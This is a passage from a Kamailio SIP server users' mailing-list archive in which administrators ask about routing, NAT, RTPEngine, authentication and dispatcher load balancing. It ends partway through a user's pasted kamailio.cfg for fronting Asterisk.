Hi, We are using Kamailio with Jitsi client where we observed sometimes Kamailio stops responding to sip messages. As a result, my Jitsi client goes offline and never back online. Also in the Kamailio syslog there are no error logs(debug enabled) related to this issue. As a temporary workaround, we had to restart the Kamailio server all the time. Does anyone observed a similar issue and can suggest any resolution. Kamailio version:- version: kamailio 5.3.5 (x86_64/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled with gcc 7.5.0 UDP process when Kamailio stops responding:-. root@ip-10-68-16-14:/home/ugiri# kamctl ps { "jsonrpc": "2.0", "result": [ { "IDX": 0, "PID": 15436, "DSC": "main process - attendant" }, { "IDX": 1, "PID": 15442, "DSC": "udp receiver child=0 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 2, "PID": 15443, "DSC": "udp receiver child=1 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 3, "PID": 15444, "DSC": "udp receiver child=2 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 4, "PID": 15445, "DSC": "udp receiver child=3 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 5, "PID": 15446, "DSC": "udp receiver child=4 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 6, "PID": 15447, "DSC": "udp receiver child=5 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 7, "PID": 15448, "DSC": "udp receiver child=6 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 8, "PID": 15449, "DSC": "udp receiver child=7 sock=10.68.16.14:5060 (100.26.5.214:5060 )" }, { "IDX": 9, "PID": 15450, "DSC": "slow timer" }, { "IDX": 10, "PID": 15451, "DSC": "timer" }, { "IDX": 11, "PID": 15452, "DSC": "secondary timer" }, { "IDX": 12, "PID": 15453, "DSC": "JSONRPCS FIFO" }, { "IDX": 13, "PID": 15454, "DSC": "JSONRPCS DATAGRAM" }, { "IDX": 14, "PID": 15455, "DSC": "ctl handler" }, { "IDX": 15, "PID": 15456, "DSC": "Http Async Worker" }, { "IDX": 16, "PID": 15457, "DSC": "Http Async Worker" }, { "IDX": 17, "PID": 15458, "DSC": "TIMER NH" }, { "IDX": 18, "PID": 15459, "DSC": "tcp main process" } ], "id": 17709 } Thanks, Uttam

2 3

Re-Invite from callee With RTPEngine between RTP--SRTP
by me.projects＠yahoo.com 19 Nov '20

19 Nov '20

Hi, I have have Kamailio as SBC one-end is SRTP and other end is RTP So I m using rtpengine_manage("replace-origin replace-session-connection DTLS=passive OSRTP-offer ICE=force SRTP")rtpengine_manage("replace-origin replace-session-connection DTLS=off SDES-off ICE=remove RTP") 1-Asterisk(RTP) -----2-Kamailio/RTPEngine ------ 3- Carrier with SRTP I detect source IPs and to manage this all. When call is made from 1 to 3 all works and during call 3 send re-Invite to Hold Call .. We need to call rtpengine_manage and also when on 200OK reply of re-invite from 1. How shall I detect that 1- if this is Re-Invite (has_totag() )and 2- its from Callee. Please advise.

1 0

Presence of plain text username and password in kamailio.cfg
by Ahmed Marsou 19 Nov '20

19 Nov '20

Hi; I want to remove all plain text usernames an passwords from kamailio.cfg file. Like modparam("auth_db", "db_url", "dbdriver://username:password @dbhost/dbname") or this modparam("sqlops","sqlcon","ca=>dbdriver://username:password @dbhost/dbname") Can you help me with some ideas of how can I handle that? Thank you.

5 10

Add Reason Header to kamailio generated CANCEL
by Alfonso Pinto 18 Nov '20

18 Nov '20

Hi everyone, I've got a specific case: when the inv_fr times out, I need to add a Reason header to the CANCEL generated by kamailio. I've tried to see if I could do it in the onsend_route, but that one is not triggered for the generated CANCEL. I also checked event_route[tm:local-request], but that one isn't triggered either for the generated CANCEL. Is there any way to do it? Or maybe to have any pointer about where to look in the code so I may try to trigger event_route[tm:local-request] for these generated CANCELs? Regards, Alfonso

6 17

record-route and INFO
by David Villasmil 18 Nov '20

18 Nov '20

Hello guys, I have a setup like this: FS(private)-->(private)Kamailio1(Public)-->Kamailio2(public)-->provider. I have mhomed=0, enable_double_rr=1, I'm listening on 2 different ports, 1 private, 1 public (with advertise) and on Kamailio1 the DISPATCH ROUTE I force the socket $fs = "LISTEN_PRIVATE_PROTO:LISTEN_PRIVATE_IF:5080"; To the private ip when the destination IP is a private IP. This all works fine. But When calling OUT (i.e. public) kamailio adds itself only for the private IP: *INVITE sip:12345678@mydmain.com <sip%3A12345678(a)mydmain.com> SIP/2.0Record-Route: <sip:172.31.25.124:5080;lr;did=9da.3a61;nat=yes>Via: SIP/2.0/UDP 172.31.25.124:5080;branch=z9hG4bKf05e.979fd257ac7f288804ef146d12c1e0fb.0Via: SIP/2.0/UDP 172.31.6.1:5080;received=172.31.6.1;rport=5080;branch=z9hG4bKQ3H8mgHaUjaBm* So when INFO messages come from the provider to kamailio2, kamailio 2 tries to send the INFO straight to "172.21.25.124". Should i manually add a record-route when calling OUT with record_route_advertised_address("1.2.3.4:5090"); Or is there a better way of getting this working? Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

Info: URL expander browser extension for Kamailio resources
by Daniel-Constantin Mierla 18 Nov '20

18 Nov '20

Hello, short note to the community forum in case someone finds it useful -- I wrote a tiny browser extension to facilitate navigation to various web resources related to Kamailio project, helping to jump quicker to web pages by typing some keywords on the address bar in the modern browsers. Installation and usage instructions are in the readme of the project, available at: * https://github.com/miconda/KSR-URL-Expander A few other details are in a news article: * https://www.kamailio.org/w/2020/11/browser-url-expander-for-kamailio-resour… Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

2 1

UAC Module
by Javier Valencia 18 Nov '20

18 Nov '20

Hi there! Configuring the UAC module to use "remote registers" in a Kamailio 4.4.3. Everything it's working except for the flags database field to which I always put a value of 0. But when Kamailio starts to launch the REGISTRATION that field does not persist in the DB. In the kamailio.cfg file I have not made any changes, I only use the remote registers DB feature. Is it normal behavior? Do I have any parameters not set or incorrectly set? Regards, JV

2 2

utility function to check if ip address is private?
by Juha Heinanen 18 Nov '20

18 Nov '20

I looked in the wiki for a utility function that would check if given ip address is private, but didn't find one. Does it exist? -- Juha

3 5

how to add URI parameter
by Sergiu Pojoga 18 Nov '20

18 Nov '20

Hi there, Does Kamailio have a function to add URI parameters? I looked around but couldn't find one. I refuse to believe Kamailio doesn't have one. There's a *add_uri_param(param)*, but that's strictly for R-URI. I need it for something else, Contact. Thanks, --Sergiu

2 1

help: can anybody give me a configuration template of SBC?
by 陈理军 18 Nov '20

18 Nov '20

Hi I want to configure Kamailio SIP server to act as a SBC. I had read the article of Kamailio working as SBC to connect MS Team project:   https://skalatan.de/en/blog/kamailio-sbc-teams But I can not find the kamailio.cfg file for this scenario. Can anybody give me a configuration template of SBC? BRs Albert

3 2

Multiple Registrations via WebSocket & Cisco phones
by Melek Oktay 17 Nov '20

17 Nov '20

Hi, I am using FreeSwitches behind the Kamailio proxy server and I am trying to allow multiple registration to my extensions. So, following configuration is sample of my Kamailio modparam("registrar", "xavp_cfg", "reg") ...... $xavp(reg=>max_contacts) = 10; save("location"); .... I saw my phones could register with the same account credentials via several phones such as Cisco, Zoiper, Yealing etc. When the call is forward to this extension, all of them are ringing. Very Nice. But, when I am trying to REGISTER WebRTC supports soft-phones to my system and with the same account credentials, my extensions are not ringing like in the previous scenario. WebRTC uses Websocket (WS) technology and clients register to Kamailio via usrloc module. When the call is forward to this extension, Kamailio try to replicate WebRTC'S INVITE packet to other phones (Cisco, Yealing, zoiper etc) and none of them understand incoming INVITE request because of WebRTC supported protocols (ICE ,a=candidate) , in a brief, phones could not recognize/understand incoming WebRTC request. This is a really tough issue for me, how can I send appropriate INVITEs for each of them.

2 2

The Algorithm “13” - latency optimized dispatching
by Julien Chavanton 14 Nov '20

14 Nov '20

About The Algorithm “13” - latency optimized dispatching, Is now reviewed once and tested, it will most likely be ready to merge soon. I want to share my thoughts on it one more time as it is not too late to get more feedback before we merge. I think it is the best algorithm in most use cases, here is why : It is providing round-robin and fail-over with automatic de-prioritization of slow/unresponsive gateways. You probably asked yourself the following questions in the past : "How do I set the thresholds to put a gateway out of service ?" *ds_probing_threshold*, *ds_inactive_threshold* and timers ... - If your thresholds are too strict, you may end up running out of gateway. - If your thresholds are too tolerant, you may end up adding excessive delays to call establishment and using degraded gateways. The automatic de-prioritization can help to address this concern more efficiently by providing more flexibility. - it can react faster than lets say 2 consecutive timeouts. - it will not disable gateways but simply de-prioritize / reorder them if needed. The only main drawback I can imagine is when you always need to evenly distribute calls using round-robin. It may be needed sometimes but in this case it means you are willing accept to send calls to a degraded gateway or trough degraded network paths. Even if you may select to preset a mixture of round-robin sets, thanks to *ds_select_routes* however it will stay static, needs to be configured precisely, and will not react to degradation automatically. I hope this will help use to protect QoS and lower latency of calls routed by Kamailio. Feel free to let me know what you think Julien

3 6

rport parameter in VIA header in uac remote registration
by Jetse Verschuren 12 Nov '20

12 Nov '20

Hi, I'm currently trying to connect Kamailio, running in docker, to my FritzBox. The FritzBox is the modem provided by my ISP, with a builtin voip server which I can use to dial out (basically a PSTN gateway). In my setup I have a custom router/firewall/NAT between the FritzBox and the server. When I connect LinPhone to the FritzBox, from behind the NAT, it works fine. But when I use the Kamailio uac remote registration, I don't get a response. After some investigation with wireshark, I found that the the SIP response from the FritzBox comes on the wrong port, and gets rejected by the NAT. The request comes from port 1025, but the response is sent to port 5060. I compared the requests from LinPhone and Kamailio, and combined with some research, found it probably was the rport option in the VIA header. >From what I read, it basically signals the uas to use the source port to reply to, instead of the port indicated in the request, which would be necessary to effectively go through a NAT. After reading a lot of documentation (and even parts of the source), I wasn't able to find an option to enable this option. Is there some option I completely missed, or is it not possible? Or am I completely wrong in my "diagnosis"? Thanks in advance, Jetse

3 4

Having trouble Setup Kamailio as a load balancer for Asterisk servers using module dispatcher
by Usama Shaikh 11 Nov '20

11 Nov '20

Hello Everyone. I am having trouble to setting up kamailio for load balancing for asterisk servers. I am using module dispatcher for load balancing AND two different servers for kamailio and asterisk. I am doing it first time and have not exact idea about its all configs… but i have researched and done so far, now need help from you guys. Currently, trying to setup with the one kamailio and one asterisk then will go ahead if I get any success… using MariaDB MySQL for the dispatcher data. Simply I want to do is : 1. Register my asterisk devices with kamailioIP (and I am able to do this using below configs) Devices are getting register with the asterisk from with kamailioIP 2. I want to receive calls on the registered devices with KamailioIP (and i am not able to do this) WORK FLOW: KAMAILIO IP = XX.XX.XX.95 on port 5060 and Asterisk IP = XX.XX.XX.164 on port 5060 SIP Device(ZOIPER) -------->>>>KAMAILIO SERVER(device register/load balancer)--------->>> ASTERISK SERVER Please have a look into my configuration files and let me know if anything is missing or wrong in these. Or anything to add or remove from the confs… my kamailio.cfg #!KAMAILIO #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_ASTERISK #define WITH_NAT #!define WITH_DEBUG #!define WITH_USRLOCDB # # Kamailio (OpenSER) SIP Server v3.3 - default configuration script # - web: http://www.kamailio.org # - git: http://sip-router.org # # Direct your questions about this file to: <sr-users(a)lists.sip-router.org> # # Refer to the Core CookBook at http://www.kamailio.org/dokuwiki/doku.php # for an explanation of possible statements, functions and parameters. # # Several features can be enabled using '#!define WITH_FEATURE' directives: # # *** To run in debug mode: # - define WITH_DEBUG # # *** To enable mysql: # - define WITH_MYSQL # # *** To enable authentication execute: # - enable mysql # - define WITH_AUTH # - add users using 'kamctl' # # *** To enable IP authentication execute: # - enable mysql # - enable authentication # - define WITH_IPAUTH # - add IP addresses with group id '1' to 'address' table # # *** To enable persistent user location execute: # - enable mysql # - define WITH_USRLOCDB # # *** To enable presence server execute: # - enable mysql # - define WITH_PRESENCE # # *** To enable nat traversal execute: # - define WITH_NAT # - install RTPProxy: http://www.rtpproxy.org # - start RTPProxy: # rtpproxy -l _your_public_ip_ -s udp:localhost:7722 # # *** To enable PSTN gateway routing execute: # - define WITH_PSTN # - set the value of pstn.gw_ip # - check route[PSTN] for regexp routing condition # # *** To enable database aliases lookup execute: # - enable mysql # - define WITH_ALIASDB # # *** To enable speed dial lookup execute: # - enable mysql # - define WITH_SPEEDDIAL # # *** To enable multi-domain support execute: # - enable mysql # - define WITH_MULTIDOMAIN # # *** To enable TLS support execute: # - adjust CFGDIR/tls.cfg as needed # - define WITH_TLS # # *** To enable XMLRPC support execute: # - define WITH_XMLRPC # - adjust route[XMLRPC] for access policy # # *** To enable anti-flood detection execute: # - adjust pike and htable=>ipban settings as needed (default is # block if more than 16 requests in 2 seconds and ban for 300 seconds) # - define WITH_ANTIFLOOD # # *** To block 3XX redirect replies execute: # - define WITH_BLOCK3XX # # *** To enable VoiceMail routing execute: # - define WITH_VOICEMAIL # - set the value of voicemail.srv_ip # - adjust the value of voicemail.srv_port # # *** To enhance accounting execute: # - enable mysql # - define WITH_ACCDB # - add following columns to database #!ifdef ACCDB_COMMENT ALTER TABLE acc ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_ip varchar(64) NOT NULL default ''; ALTER TABLE acc ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_ip varchar(64) NOT NULL default ''; ALTER TABLE missed_calls ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; #!endif ####### Defined Values ######### # *** Value defines - IDs used later in config #!ifdef WITH_MYSQL # - database URL - used to connect to database server by modules such # as: auth_db, acc, usrloc, a.s.o. #!define DBURL "mysql://kamailio:kamailiorw@localhost/kamailio" #!ifdef WITH_ASTERISK #!define DBASTURL "mysql://kamailio:kamailiorw@localhost/kamailio" #!endif #!endif #!ifdef WITH_MULTIDOMAIN # - the value for 'use_domain' parameters #!define MULTIDOMAIN 1 #!else #!define MULTIDOMAIN 0 #!endif # - flags # FLT_ - per transaction (message) flags # FLB_ - per branch flags #!define FLT_ACC 1 #!define FLT_ACCMISSED 2 #!define FLT_ACCFAILED 3 #!define FLT_NATS 5 #!define FLB_NATB 6 #!define FLB_NATSIPPING 7 ####### Global Parameters ######### #!ifdef WITH_DEBUG debug=4 log_stderror=yes #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL7 log_name="kamailio" children=4 /* uncomment the next line to disable TCP (default on) */ #disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on reverse DNS on IPs (default on) */ #auto_aliases=no /* add local domain aliases */ #alias="sip.mydomain.com" /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ #listen=udp:0.0.0.0:5060 #listen=udp: KamailioIP:5060 /* port to listen to * - can be specified more than once if needed to listen on many ports */ port=5060 #!ifdef WITH_TLS enable_tls=yes #!endif # life time of TCP connection when there is no traffic # - a bit higher than registration expires to cope with UA behind NAT tcp_connection_lifetime=3605 ####### Custom Parameters ######### # These parameters can be modified runtime via RPC interface # - see the documentation of 'cfg_rpc' module. # # Format: group.id = value 'desc' description # Access: $sel(cfg_get.group.id) or @cfg_get.group.id # #!ifdef WITH_PSTN # PSTN GW Routing # # - pstn.gw_ip: valid IP or hostname as string value, example: # pstn.gw_ip = "10.0.0.101" desc "My PSTN GW Address" # # - by default is empty to avoid misrouting pstn.gw_ip = "" desc "PSTN GW Address" #!endif #!ifdef WITH_VOICEMAIL # VoiceMail Routing on offline, busy or no answer # # - by default Voicemail server IP is empty to avoid misrouting voicemail.srv_ip = "" desc "VoiceMail IP Address" voicemail.srv_port = "5060" desc "VoiceMail Port" #!endif #!ifdef WITH_ASTERISK asterisk.bindip = " ASTERISKIP.164" desc "Asterisk IP Address" asterisk.bindport = "5060" desc "Asterisk Port" kamailio.bindip = " KamailioIP .95" desc "Kamailio IP Address" kamailio.bindport = "5060" desc "Kamailio Port" #!endif ####### Modules Section ######## # set paths to location of modules (to sources or installation folders) #!ifdef WITH_SRCPATH mpath="/usr/local/kamailio-devel/lib64/kamailio/modules/" #!else mpath="/usr/local/kamailio-devel/lib64/kamailio/modules/" #!endif #!ifdef WITH_MYSQL loadmodule "db_mysql.so" #!endif loadmodule "kex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "cfg_rpc.so" loadmodule "acc.so" loadmodule "sctp.so" loadmodule "dialog.so" loadmodule "siptrace.so" #!ifdef WITH_AUTH loadmodule "auth.so" loadmodule "auth_db.so" #!ifdef WITH_IPAUTH loadmodule "permissions.so" #!endif #!endif #!ifdef WITH_ALIASDB loadmodule "alias_db.so" #!endif #!ifdef WITH_SPEEDDIAL loadmodule "speeddial.so" #!endif #!ifdef WITH_MULTIDOMAIN loadmodule "domain.so" #!endif #!ifdef WITH_PRESENCE loadmodule "presence.so" loadmodule "presence_xml.so" #!endif #!ifdef WITH_NAT loadmodule "nathelper.so" loadmodule "rtpproxy.so" #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_ANTIFLOOD loadmodule "htable.so" loadmodule "pike.so" #!endif #!ifdef WITH_XMLRPC loadmodule "xmlrpc.so" #!endif #!ifdef WITH_DEBUG loadmodule "debugger.so" #!endif #!ifdef WITH_ASTERISK loadmodule "uac.so" loadmodule "dispatcher.so" loadmodule "jsonrpcs.so" loadmodule "htable.so" # ---------------------- mod dispatcher params ------------------------------ modparam("dispatcher", "db_url", DBURL) modparam("dispatcher", "table_name", "dispatcher") modparam("dispatcher", "ds_ping_interval", 15) modparam("dispatcher", "ds_ping_from", "sip:dispathcer@ KamailioIP ") modparam("dispatcher", "force_dst", 1) modparam("dispatcher", "ds_ping_method", "INFO") #modparam("dispatcher", "ds_probing_mode", 1) modparam("dispatcher", "ds_probing_threshold", 1) #modparam("dispatcher", "ds_ping_reply_codes", "class=2;code=403;code=404;code=484;code=488;code=481;class=3") modparam("dispatcher", "ds_ping_reply_codes", "class=2;class=3;class=4") #modparam("dispatcher", "priority_col", "dstpriority") #modparam("dispatcher", "dstid_avp", "$avp(dsdstid)") # do failover modparam("dispatcher", "flags", 2) #modparam("dispatcher", "dst_avp", "$avp(AVP_DST)") #modparam("dispatcher", "grp_avp", "$avp(AVP_GRP)") #modparam("dispatcher", "cnt_avp", "$avp(AVP_CNT)") #!endif # ----------------- setting module-specific parameters --------------- modparam("siptrace", "db_url", DBURL) modparam("siptrace", "trace_flag", 22) modparam("siptrace", "trace_on", 1) # ----- jsonrpcs params ----- modparam("jsonrpcs", "pretty_format", 1) /* set the path to RPC fifo control file */ # modparam("jsonrpcs", "fifo_name", "/run/kamailio/kamailio_rpc.fifo") /* set the path to RPC unix socket control file */ # modparam("jsonrpcs", "dgram_socket", "/run/kamailio/kamailio_rpc.sock") #!ifdef WITH_JSONRPC modparam("jsonrpcs", "transport", 7) #!endif # ---------------------- mod uac params ------------------------------ modparam("uac", "reg_contact_addr", "ASTERISKIP:5060") modparam("uac", "reg_db_url", "mysql://kamailio:kamailiorw@localhost /kamailio") modparam("uac", "reg_db_table", "uacreg") modparam("uac", "reg_timer_interval", 60) modparam("uac","restore_mode","auto") modparam("uac", "restore_dlg", 1) modparam("uac","auth_realm_avp","$avp(s:auth_realm_avp)") modparam("uac","auth_username_avp","$avp(s:auth_username_avp)") modparam("uac","auth_password_avp","$avp(s:auth_password_avp)") # ----- mi_fifo params ----- #modparam("mi_fifo", "fifo_name", "/tmp/kamailio_fifo") # ----- tm params ----- # auto-discard branches from previous serial forking leg modparam("tm", "failure_reply_mode", 3) # default retransmission timeout: 30sec modparam("tm", "fr_timer", 30000) # default invite retransmission timeout after 1xx: 120sec modparam("tm", "fr_inv_timer", 120000) modparam("tm", "ruri_matching", 0) # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) #!ifdef WITH_ASTERISK modparam("rr", "append_fromtag", 1) #!else modparam("rr", "append_fromtag", 0) #!endif # ----- registrar params ----- modparam("registrar", "method_filtering", 1) /* uncomment the next line to disable parallel forking via location */ # modparam("registrar", "append_branches", 0) /* uncomment the next line not to allow more than 10 contacts per AOR */ #modparam("registrar", "max_contacts", 10) # max value for expires of registrations modparam("registrar", "max_expires", 3600) # set it to 1 to enable GRUU modparam("registrar", "gruu_enabled", 0) # ----- acc params ----- /* what special events should be accounted ? */ modparam("acc", "early_media", 0) modparam("acc", "report_ack", 0) modparam("acc", "report_cancels", 0) /* by default ww do not adjust the direct of the sequential requests. if you enable this parameter, be sure the enable "append_fromtag" in "rr" module */ modparam("acc", "detect_direction", 0) /* account triggers (flags) */ modparam("acc", "log_flag", FLT_ACC) modparam("acc", "log_missed_flag", FLT_ACCMISSED) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;src_ip=$si;" "dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") modparam("acc", "failed_transaction_flag", FLT_ACCFAILED) /* enhanced DB accounting */ #!ifdef WITH_ACCDB modparam("acc", "db_flag", FLT_ACC) modparam("acc", "db_missed_flag", FLT_ACCMISSED) modparam("acc", "db_url", DBURL) modparam("acc", "db_extra", "src_user=$fU;src_domain=$fd;src_ip=$si;" "dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") #!endif # ----- usrloc params ----- /* enable DB persistency for location entries */ #!ifdef WITH_USRLOCDB modparam("usrloc", "db_url", DBURL) modparam("usrloc", "db_mode", 2) modparam("usrloc", "use_domain", MULTIDOMAIN) modparam("usrloc", "matching_mode", 1) modparam("usrloc", "db_insert_update", 1) #!endif # ----- auth_db params ----- #!ifdef WITH_AUTH modparam("auth_db", "db_url", DBURL) modparam("auth_db", "calculate_ha1", yes) modparam("auth_db", "load_credentials", "") #!ifdef WITH_ASTERISK modparam("auth_db", "user_column", "username") modparam("auth_db", "password_column", "secret") modparam("auth_db", "db_url", DBASTURL) modparam("auth_db", "version_table", 0) #!else modparam("auth_db", "db_url", DBURL) modparam("auth_db", "password_column", "password") modparam("auth_db", "use_domain", MULTIDOMAIN) #!endif # ----- permissions params ----- #!ifdef WITH_IPAUTH modparam("permissions", "db_url", DBURL) modparam("permissions", "db_mode", 1) modparam("permissions", "trusted_table", "trusted") #!endif #!endif # ----- alias_db params ----- #!ifdef WITH_ALIASDB modparam("alias_db", "db_url", DBURL) modparam("alias_db", "use_domain", MULTIDOMAIN) #!endif # ----- speedial params ----- #!ifdef WITH_SPEEDDIAL modparam("speeddial", "db_url", DBURL) modparam("speeddial", "use_domain", MULTIDOMAIN) #!endif # ----- domain params ----- #!ifdef WITH_MULTIDOMAIN modparam("domain", "db_url", DBURL) # register callback to match myself condition with domains list modparam("domain", "register_myself", 1) #!endif #!ifdef WITH_PRESENCE # ----- presence params ----- modparam("presence", "db_url", DBURL) # ----- presence_xml params ----- modparam("presence_xml", "db_url", DBURL) modparam("presence_xml", "force_active", 1) #!endif #!ifdef WITH_NAT # ----- rtpproxy params ----- modparam("rtpproxy", "rtpproxy_sock", "udp:127.0.0.1:7722") # ----- nathelper params ----- modparam("nathelper", "natping_interval", 30) modparam("nathelper", "ping_nated_only", 1) modparam("nathelper", "sipping_bflag", FLB_NATSIPPING) modparam("nathelper", "sipping_from", "sip:pinger@kamailio.org") # params needed for NAT traversal in other modules modparam("nathelper|registrar", "received_avp", "$avp(RECEIVED)") modparam("usrloc", "nat_bflag", FLB_NATB) #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif #!ifdef WITH_ANTIFLOOD # ----- pike params ----- modparam("pike", "sampling_time_unit", 2) modparam("pike", "reqs_density_per_unit", 16) modparam("pike", "remove_latency", 4) # ----- htable params ----- # ip ban htable with autoexpire after 5 minutes #modparam("htable", "htable", "ipban=>size=8;autoexpire=300;") modparam("htable", "htable", "stats=>size=6;") #!endif #!ifdef WITH_XMLRPC # ----- xmlrpc params ----- modparam("xmlrpc", "route", "XMLRPC"); modparam("xmlrpc", "url_match", "^/RPC") #!endif #!ifdef WITH_DEBUG # ----- debugger params ----- #modparam("debugger", "cfgtrace", 1) #modparam("debugger", "breakpoint", 1) modparam("debugger", "log_level_name", "exec") #!endif ####### Routing Logic ######## # Main SIP request routing logic # - processing of any incoming SIP request starts with this route # - note: this is the same as route { ... } request_route { route(DISPATCH); # per request initial checks route(REQINIT); # NAT detection route(NATDETECT); # handle requests within SIP dialogs route(WITHINDLG); ### only initial requests (no To tag) if(is_method("OPTIONS")) { sl_send_reply("200","Keepalive"); exit; } if(is_method("NOTIFY")) { sl_send_reply("200","OK"); exit; } # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) t_relay(); exit; } t_check_trans(); # authentication route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) record_route(); # account only INVITEs if (is_method("INVITE")) { setflag(FLT_ACC); # do accounting } # dispatch requests to foreign domains route(SIPOUT); ### requests for my local domains # handle presence related requests route(PRESENCE); # handle registrations route(REGISTRAR); if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); exit; } # dispatch destinations to PSTN route(PSTN); # user location service route(LOCATION); route(RELAY); } route[RELAY] { # enable additional event routes for forwarded requests # - serial forking, RTP relaying handling, a.s.o. if (is_method("INVITE|SUBSCRIBE")) { t_on_branch("MANAGE_BRANCH"); t_on_reply("MANAGE_REPLY"); } if (is_method("INVITE")) { t_on_failure("MANAGE_FAILURE"); } if (!t_relay()) { sl_reply_error(); } exit; } # Per SIP request initial checks route[REQINIT] { #!ifdef WITH_ANTIFLOOD # flood dection from same IP and traffic ban for a while # be sure you exclude checking trusted peers, such as pstn gateways # - local host excluded (e.g., loop to self) if(src_ip!=myself) { if($sht(ipban=>$si)!=$null) { # ip is already blocked xdbg("request from blocked IP - $rm from $fu (IP:$si:$sp)\n"); exit; } if (!pike_check_req()) { xlog("L_ALERT","ALERT: pike blocking $rm from $fu (IP:$si:$sp)\n"); $sht(ipban=>$si) = 1; exit; } } #!endif if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); exit; } if(!sanity_check("1511", "7")) { xlog("Malformed SIP message from $si:$sp\n"); exit; } } # Handle requests within SIP dialogs route[WITHINDLG] { if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } if ( is_method("ACK") ) { # ACK is forwarded statelessy route(NATMANAGE); } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { # in-dialog subscribe requests route(PRESENCE); exit; } if ( is_method("ACK") ) { if ( t_check_trans() ) { # no loose-route, but stateful ACK; # must be an ACK after a 487 # or e.g. 404 from upstream server t_relay(); exit; } else { # ACK without matching transaction ... ignore and discard exit; } } sl_send_reply("404","Not here"); } exit; } } # Handle SIP registrations route[REGISTRAR] { if (is_method("REGISTER")) { if(isflagset(FLT_NATS)) { setbflag(FLB_NATB); # uncomment next line to do SIP NAT pinging ## setbflag(FLB_NATSIPPING); } if (!save("location")) sl_reply_error(); #!ifdef WITH_ASTERISK route(REGFWD); #!endif exit; } } # USER location service route[LOCATION] { #!ifdef WITH_SPEEDIAL # search for short dialing - 2-digit extension if($rU=~"^[0-9][0-9]$") if(sd_lookup("speed_dial")) route(SIPOUT); #!endif #!ifdef WITH_ALIASDB # search in DB-based aliases if(alias_db_lookup("dbaliases")) route(SIPOUT); #!endif #!ifdef WITH_ASTERISK if(is_method("INVITE") && (!route(FROMASTERISK))) { # if new call from out there - send to Asterisk # - non-INVITE request are routed directly by Kamailio # - traffic from Asterisk is routed also directy by Kamailio append_hf("FromIp: $src_ip\r\n", "Call-ID"); route(TOASTERISK); exit; } #!endif $avp(oexten) = $rU; if (!lookup("location")) { $var(rc) = $rc; route(TOVOICEMAIL); t_newtran(); switch ($var(rc)) { case -1: case -3: send_reply("404", "Not Found"); exit; case -2: send_reply("405", "Method Not Allowed"); exit; } } # when routing via usrloc, log the missed calls also if (is_method("INVITE")) { setflag(FLT_ACCMISSED); } } # Presence server route route[PRESENCE] { if(!is_method("PUBLISH|SUBSCRIBE")) return; #!ifdef WITH_PRESENCE if (!t_newtran()) { sl_reply_error(); exit; 